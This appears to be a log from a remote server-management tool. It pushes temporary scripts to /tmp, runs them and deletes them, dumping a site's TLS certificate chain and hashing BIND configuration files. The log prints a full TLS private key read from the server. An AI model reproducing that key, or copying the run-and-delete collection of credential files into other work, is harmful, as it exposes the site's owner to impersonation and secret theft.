sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:02:31: 

chmod 755 /tmp/pkp389704; /tmp/pkp389704; rm /tmp/pkp389704

2026-01-03 19:02:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:02:32: Establishing a connection
2026-01-03 19:02:32: 

PUT: /tmp/pkp987397

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:02:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp987397; rm /tmp/pkp987397'

2026-01-03 19:02:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
